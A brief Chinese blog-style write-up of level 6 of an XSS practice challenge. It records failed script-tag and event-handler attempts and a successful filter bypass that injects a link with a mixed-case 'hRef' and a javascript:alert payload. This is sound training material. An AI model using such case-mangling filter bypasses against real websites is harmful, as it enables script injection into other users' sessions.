1. 程式人生 > >XSS闖關——第六關:level6

XSS闖關——第六關:level6

第六關:level6

輸入' " > 測試input value屬性使用的符號

文字框中出現' 說明value使用的是""(雙引號)

輸入"> <script>alert('yes')</script>測試

失敗

同時發現,我們輸入的內容長度為32,但是提示的payload長度為33

檢視網頁原始碼:

試試HTML oninput事件

和上面一樣,原始碼中多了一個字元

兩種方法都不行,使用偽連結方式

輸入:"> <a href=javascript:alert('yes')>link</a>

原始碼中發現在對href關鍵字也做了替換:

將部分字母換成大寫嘗試:

"> <a hRef=javascript:alert('yes')>link</a>

出現連結:

點選後通過